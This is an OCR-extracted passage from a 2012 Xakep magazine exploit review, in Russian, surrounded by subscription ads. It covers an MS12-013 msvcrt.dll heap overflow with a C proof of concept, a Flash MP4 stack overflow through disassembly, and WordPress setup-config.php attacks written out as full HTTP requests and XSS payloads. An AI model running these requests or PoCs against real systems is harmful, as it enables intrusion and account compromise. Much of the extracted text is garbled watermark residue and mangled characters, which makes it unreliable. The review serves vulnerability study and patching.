книги хакеры / журнал хакер / 159_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ПОДПИШИСЬ!
shop.glc.ru
|
|
|
|
|
|
Редакционная подписка без посредников |
|||
|
|
|
|
|
|
это гарантия получения важного для Вас |
|||
|
|
|
|
|
|
||||
|
|
|
|
|
|
журнала и экономия до 40% от розничной |
|||
|
|
|
|
|
|
цены в киоске |
|||
6 номеров — 1110 руб. |
6 номеров — 1110 руб. |
8-800-200-3-999 |
|||||||
+7 (495) 663-82-77 (бесплатно) |
|||||||||
13 номеров — 1999 руб. |
13 номеров — 1999 руб. |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
6 |
номеров — 564 руб. |
6 номеров — 1110 руб. |
6 |
номеров — 810 руб. |
6 номеров — 1110 руб. |
||||||||
13 |
номеров — 1105 руб. |
13 номеров — 1999 руб. |
13 |
номеров — 1499 руб. |
13 номеров — 1999 руб. |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
6 |
номеров — 630 руб. |
6 |
номеров — 895 руб. |
6 номеров — 1194 руб. |
6 |
номеров — 894 руб. |
13 |
номеров — 1140 руб. |
13 |
номеров — 1699 руб. |
13 номеров — 2149 руб. |
13 |
номеров — 1699 руб. |
¿ |
|
ěĈČʆĐđĎĆďĐ |
ČĐ¿ďþċʆĒĎþċĔĆďĈČ¿ĂČ¿ċĚĜʆćČĎĈþ |
AUDI A7 |
NEED FOR SPEED: THE RUN |
|
ĀĆċĆĉČĀęă |
|
ямшэмуфф |
|
|
|
рсхмныćЪ |
|
Úѡ ѢÚ Ú"./# .1 |
|
ысхщчсшрщомшшмĊЪāсшмЪ |
|
тюышмцмЪ Ъыюн |
350.589 |
|
|
|
;8IEB?8G |
|
ċ4@4EB |
|
£ýēĞēĢĭ àĜĥģēİĤģı |
|
|
|
üÚĎĘĕĕēčĝďěĔēĖÚ |
ïĘěęĘďēė |
ĚċĒĖċğĘĖ |
ďēĚĐĔĜĘĚ |
.EEDЭFORЭ3PEED Э4HEЭ2UNЭ эěЭъшпуĠЭĚĎЭ4OYOTAЭ#AMRY |
|
6 номеров — 690 руб. |
|
13 номеров — 1249 руб. |
6 |
номеров — 775 руб. |
6 |
номеров — 950 руб. |
6 |
номеров — 810 руб. |
13 |
номеров — 1399 руб. |
13 |
номеров — 1699 руб. |
13 |
номеров — 1499 руб. |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/ОБЗОРЭКСПЛОИТОВ |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||
ПавелАлександрович (ivinside.blogspot.com)to |
|
|
|
|
|
||||||||||
|
|
|
|
|
m |
||||||||||
ДмитрийМихайлович(115612, |
дер.Краснаязвездочка,w |
д.1)Click |
|
|
|
|
|
|
|||||||
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0бзор
эксплоитов
Ивновьмыстобойвстречаемся,чтобыразобратьсявовнутреннемустройствепоследних интереснейшихобразцовизобластиэксплоитостроения.Крепчехватайсязажурнали внемлижеслогубинарному...
050 |
ХАКЕР 04 /159/ 2012 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
MS12-013:Уязвимостьвбиблиотекевремени
1выполненияC(msvcrt.dll)
CVSSV2 |
9.3 |
(AV:N/AC:M/AU:N/C:C/I:C/A:C)
BRIEF
Msvcrt.dll — многопоточная библиотека динамической компоновки (DLL) времени выполнения C, которая используется компонентами системного уровня. В способе расчета библиотекой msvcrt.dll размера буфера в памяти существует уязвимость, которая делает возможным удаленное выполнение кода и позволяет копировать данные в память, не выделенную должным образом. Эта уязвимость делает возможным удаленное выполнение кода при запуске пользователем специально созданных файлов мультимедиа. Если пользователь вошел в систему с правами администратора, то злоумышленник, которому удалось воспользоваться уязвимостью, может установить полный контроль над системой, после чего он сможет устанавливать программы, просматривать, изменять и уничтожать данные или создавать новые учетные записи с неограниченными правами. Риск для пользователей, учетные записи которых имеют ограниченные права, меньше, чем для пользователей, работающих с правами администратора.
EXPLOIT
Патч от MS затрагивает функцию __check_float_string(). В связи
стем, что библиотека времени выполнения C поставляется в виде исходников совместно с MS Visual Studio, посмотреть на вышеупомянутую функцию можно в VC/CRT/src/input.c.
Логика работы у функции __check_float_string() следующая. С самого начала у библиотеки времени выполнения имеется буфер статического размера (_TCHAR floatstring[_CVTBUFSIZE + 1];). Как только требуется буфер большего размера, происходит перераспределение памяти. Порядок подобного перераспределения таков: выделяется удвоенный размер буфера и удваивается значение переменной, содержащей этот размер. При первой итерации увеличения используется вызов функции
calloc(), далее используется recalloc(). Основной момент, в связи
скоторым имеет место быть MS12-013, состоит в попытке записи нового размера буфера.
Ниже приведен дизасм-листинг старой версии msvcrt.dll:
.text:6FFBEA1E loc_6FFBEA1E: ; CODE XREF: sub_6FFBE9F3+25|j
.text:6FFBEA1E push 2
check_float_stringизCRT
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Обзор эксплоитовw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
.text:6FFBEA20 push ebx ; mov ebx, [esi] in the entry block
.text:6FFBEA21 call __calloc_crt
.text:6FFBEA26 pop ecx
.text:6FFBEA27 pop ecx
.text:6FFBEA28 mov [edi], eax
.text:6FFBEA2A test eax, eax
.text:6FFBEA2C jz short loc_6FFBEA1A
.text:6FFBEA2E push [ebp+pulResult] ; size_t
.text:6FFBEA31 mov eax, [ebp+arg_8]
.text:6FFBEA34 push [ebp+arg_4] ; void *
.text:6FFBEA37 mov dword ptr [eax], 1
.text:6FFBEA3D push dword ptr [edi] ; void *
.text:6FFBEA3F call _memcpy
.text:6FFBEA44 mov eax, [esi]
.text:6FFBEA46 push esi ; pulResult
.text:6FFBEA47 add eax, eax ; !!!!
.text:6FFBEA49 push 2 ; int
.text:6FFBEA4B push eax ; int
.text:6FFBEA4C mov [esi], eax
.text:6FFBEA4E call ?SizeTMult@@YAJIIPAI@Z
; SizeTMult(uint,uint,uint *)
.text:6FFBEA53 add esp, 18h
.text:6FFBEA56 test eax, eax
.text:6FFBEA58 jge short loc_6FFBEA78
Обрати внимание на аргументы функций __calloc_crt() и SizeTMult(). В момент вызова __calloc_crt() мы имеем следующий набор аргументов: __calloc_crt(Size, 2). Однако в момент, когда для записи переменной размера вызывается функция SizeTMult, ее набор аргументов выглядит так:
SizeTMult(Size*2, 2, &pResult)
Посему, несмотря на реальный размер выделенной памяти под буфер в Size*2, в переменную размера сохраняется значение Size*2*2. В связи с этим переполнение кучи происходить будет, но - за пределами рассматриваемой функции.
А это пропатченная версия. Вновь посмотрим на аргументы SizeTMult(). В этот раз имеем SizeTMult(Size, 2, &pResult). В итоге MS пришлось избавиться от инструкции «add eax, eax»:
.text:6FFBF935 push [ebp+pulResult] ; size_t
.text:6FFBF938 mov eax, [ebp+arg_8]
.text:6FFBF93B push [ebp+arg_4] ; void *
.text:6FFBF93E mov dword ptr [eax], 1
.text:6FFBF944 push dword ptr [esi] ; void *
.text:6FFBF946 call _memcpy
.text:6FFBF94B push edi ; pulResult
.text:6FFBF94C push 2 ; int
.text:6FFBF94E push dword ptr [edi] ; int
.text:6FFBF950 call ?SizeTMult@@YAJIIPAI@Z ; SizeTMult(uint,uint,uint *)
.text:6FFBF955 add esp, 18h
POC для MS12-013:
#include <windows.h> #include <stdio.h>
#pragma comment(linker, "/NODEFAULTLIB:msvcrt90.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrt80.lib")
#pragma comment(lib, "vs6/msvcrt.lib")
ХАКЕР 04 /159/ 2012 |
051 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМ/m |
ОБЗОРЭКСПЛОИТОВ |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
#define BUF_SIZE 0x300
void main( void )
{
char *pStr;
float f;
int i;
pStr = (char*)malloc(BUF_SIZE);
memset(pStr, 0, BUF_SIZE);
strcpy(pStr, "1.");
for( i=1; i<=BUF_SIZE-10; i++)
{
strcat(pStr, "0");
}
printf("Before scanf()\n");
sscanf(pStr,"%f", &f);
printf("After scanf()\n");
printf("%f\n", f);
}
TARGETS
Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008
SOLUTION
Существует обновление, устраняющее данную уязвимость
.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
AdobeFlashPlayer:переполнениебуферапри
2 обработкеMP4в
SequenceParameterSetNALUnit
CVSSV2 |
10.0 |
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
BRIEF
10февраля2012годавсоставеmetasploit-апоявилсяновыймодуль, отвечающийзауязвимостьвобработкеmp4-файлов,котораяосу- ществляетсякомпонентомFlash10u.ocxAdobeFlashPlayer.Ошибка располагаетсявsequenceParameterSetNALUnit.Когдапроисходит обработказначенияnum_ref_frames_in_pic_order_cnt_cycle,размеркопируемыхданныхникакнепроверяется,ипроцессFlash’а бездумнокопируетподконтрольныепользователюданныеиз offset_for_ref_frameвбуферфиксированногоразмера,располагающийсянастеке.Врезультатеэтоприводиткудаленномувыполнениюпроизвольногокодавконтекстепользователя,запустившего процессFlash-а.Многочисленныесообщенияобэтойуязвимости такжеуказываютнато,чтоонаактивноиспользоваласьITW.
EXPLOIT
Дизасмуязвимогоместа(функцияsub_1005B396),Flash10u.ocx 10.3.181.34:
.text:1005B482 |
call |
SubReadUExpGlomb |
; читаем pic_order_cnt_type |
||
.text:1005B487 |
mov |
[esi+40h], eax |
.text:1005B48A |
cmp |
eax, ebp |
; если pic_order_cnt_type != 0 (ebp=0) |
||
.text:1005B48C |
jnz |
short loc_1005B49D |
; ... |
|
|
ms12-013:результатпереполнениякучи
052 |
ХАКЕР 04 /159/ 2012 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
t |
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
NOW! |
r |
||||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
|
e |
|
||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
.text:1005B49D |
xor |
ebx, ebx |
.text:1005B49F |
inc |
ebx |
.text:1005B4A0 |
cmp |
eax, ebx |
.text:1005B4A2 |
jnz |
short loc_1005B4EF |
; если pic_order_cnt_type != 1 |
||
.text:1005B4A4 |
mov |
ecx, edi |
.text:1005B4A6 |
call |
SubReadBit |
; читаем delta_pic_order_always_zero_flag |
||
.text:1005B4AB |
mov |
ecx, edi |
.text:1005B4AD |
mov |
[esi+48h], al |
.text:1005B4B0 |
call |
SubReadSExpGlomb |
; читаем offset_for_non_ref_pic |
||
.text:1005B4B5 |
mov |
ecx, edi |
.text:1005B4B7 |
mov |
[esi+54h], eax |
.text:1005B4BA |
call |
SubReadSExpGlomb |
; читаем offset_for_non_ref_pic |
||
.text:1005B4BF |
mov |
ecx, edi |
.text:1005B4C1 |
mov |
[esi+50h], eax |
.text:1005B4C4 |
call |
SubReadUExpGlomb |
; читаем num_ref_frames_in_pic_order_cnt_cycle |
||
.text:1005B4C9 |
mov |
[esi+4Ch], eax |
.text:1005B4CC |
test |
eax, eax |
.text:1005B4CE |
jbe |
short loc_1005B4EF |
; если num_ref_frames_in_pic_order_cnt_cycle == 0 |
||
.text:1005B4D0 |
lea |
eax, [esi+58h] |
.text:1005B4D3 |
mov |
[esp+10h+ptr], eax |
.text:1005B4D7 |
|
|
.text:1005B4D7 loc_1005B4D7:
; CODE XREF: SubParseSeqParameterSet+157|j
.text:1005B4D7 |
mov |
ecx, edi |
.text:1005B4D9 |
call |
SubReadSExpGlomb |
; читаем offset_for_ref_frame |
||
.text:1005B4DE |
mov |
ecx, [esp+10h+ptr] |
.text:1005B4E2 |
add |
[esp+10h+ptr], 4 |
.text:1005B4E7 |
inc |
ebp ; ebp - счетчик цикла |
.text:1005B4E8 |
mov |
[ecx], eax |
; ecx указывает на буфер на стеке |
||
.text:1005B4EA |
cmp |
ebp, [esi+4Ch] ; сравниваем счетчик |
; c num_ref_frames_in_pic_order_cnt_cycle |
||
.text:1005B4ED |
jb |
short loc_1005B4D7 |
ФункцияSubReadUExpGlomb()читаетизфайлаэкспоненциальныйкодГоломбаидекодируетеговбеззнаковоечисло. SubReadSExpGlomb()читаетэкспоненциальныйкодГоломбаидеко-
дируетеговзнаковоечисло.ФункцияSubReadBit()производитчтение одногобита.Каквидишь,ввышеприведенномкоденепроизводится никакихпроверокназначениеnum_ref_frames_in_pic_order_cnt_ cycle.ВдобавокковсемуFlashPlayerнеиспользуеттакойзащитный механизмкакstackcookies,поэтомуатакующийможетполучить контрольнадрегистромeipбезкаких-либопроблем.
TARGETS
AdobeFlashPlayer<=10.3.181.36
SOLUTION
Обновитьсядоверсии10.3.183.5
3 МножественныеуязвимостивWordPress
CVSSV2 |
7.5 |
(AV:N/AC:L/Au:N/C:P/I:P/A:P)
BRIEF
В конце января компания Trustwave SpiderLabs в лице исследователя Джонатана Клаудиуса (Jonathan
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Обзор эксплоитовw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Параметры,принимаемыескриптомsetup-config.php,никакнефильтруются
Claudius) опубликовала очередную пачку уязвимостей в движке WordPress. Среди них - исполнение произвольного PHP-кода, множественные XSS-уязвимости, а также раскрытие имени пользователя и пароля для подключения к серверу MySQL.
EXPLOIT
1.ИсполнениепроизвольногоPHP-кодаихранимаяXSSвскрипте setup-config.php.Сценарийисполняетсявпроцессеинсталляции WordPressипозволяетустанавливатьдвижоксиспользованиемлокальнойилиудаленнойбазыданныхMySQL.Дляэтогонеобходимо располагатьвалиднымиреквизитамидлядоступакMySQL.Однако злоумышленникможетподнятьсвойсобственныйсерверMySQL
ииспользоватьеговпроцессеустановки,приэтомнерасполагая логином/паролемкMySQLнацелевойсистеме.ПослеуспешнойинсталляцииWordPressзлоумышленникможетвнедритьпроизволь- ныйPHP-кодчерезредактортемWordPress.Вдополнениекэтому, благодарядоступукбазеданныхWordPressстановитсявозможным внедритьпроизвольныйJavascript-кодвконтентдвижка,темсамым реализуяуязвимостьхранимойXSS.
Атакапроводитсяследующимобразом.Допустим,A.B.C.D-целевой серверсWordPress,аW.X.Y.Z-серверзлоумышленникасустанов- леннойMySQL.
ПосылаемPOST-иGET-запросыдляустановкиWordPressсисполь- зованиембазыданныхзлоумышленника:
POST-запрос
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
ХАКЕР 04 /159/ 2012 |
053 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/ОБЗОРЭКСПЛОИТОВ |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6;
rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480;
wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z
&prefix=wp_&submit=Submit
GET-запрос
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2 Cookie: wp-settings-time-1=1322687480;
wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT
С помощью редакторатемWordPress редактируемфайл404.php (илилюбой другой, доступныйвиспользуемой теме), темсамым реализуявозможностьисполнения PHP-кода:
<?php
phpinfo();
?>
Исполняем код с помощью GET-запроса илипростооткрывстраницув браузере:
GET /wp-content/themes/default/404.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Такжезлоумышленникможет использоватьхранимую XSSдля атакина пользователей, —дляэтогонеобходимо выполнить такой запрос:
UPDATE wp_comments SET
comment_content='<script>alert('123')</script>' where comment_content='Hi, this is a comment.<br />To delete a comment, just log in and view the post's comments. There you will have the option to edit
or delete them.';
Когдапользовательзайдетпоссылке,указаннойвследующемGET- запросе,вегобраузеревыполнитсявнедренныйJavascript-код:
GET /?p=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
2.Множественные XSS вскриптеsetup-config.php. В процессеинсталляции злоумышленникможет внедрить Javascript-кодчерез параметры«dbname»,«dbhost»или «uname». Этореализуется черезследующийPOST-запрос:
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&
uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit
3. Раскрытиереквизитовдлядоступа кбазе данныхMySQL через скриптsetup-config.php. Впроцессеинсталляции пользователь задаетпараметрыбазыданныхMySQL, как ужеобсуждалось ранее. Привводенеправильныхреквизитовскриптвыдает ошибку,чем иможновоспользоваться, осуществляя брутфорсимени пользователяипароля кMySQL, причемнетолько локальной, нои любой удаленной.Запросвыглядитследующимобразом:
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
uname=user&pwd=pass&dbhost=L.M.N.O
В нем делаетсяпопытка коннекта ксерверу L.M.N.Oпользователемuser и паролем pass.
TARGETS
WordPress 3.3.1иболееранние.
SOLUTION
Таккакуязвимыйскрипт-инсталляционный,разработчики WordPressпосчиталивозможностьреализацииэтихуязвимостей крайнемалойинесталивыпускатьофициальныхпатчей.«Ниодин нормальныйпользовательнебудетоставлятьинсталляционных скриптовусебянасервереилипрерыватьпроцессустановки»,- считаютони.Однаконекоторыехостинговыекомпаниипредоставляютаккаунты,вкоторыхпоумолчаниюприсутствуютдистрибутивы WordPressсустановочнымискриптами,аклиентихможетдажеине планировалиспользовать.Длязащитысвоихсерверовотэтихатак можнопорекомендоватьлишьпользоватьсясложнымипаролямик MySQL,атакжеиспользоватьWAF,например,ModSecurity,вправилах которогоучтеныподобногородаатаки.z
054 |
ХАКЕР 04 /159/ 2012 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
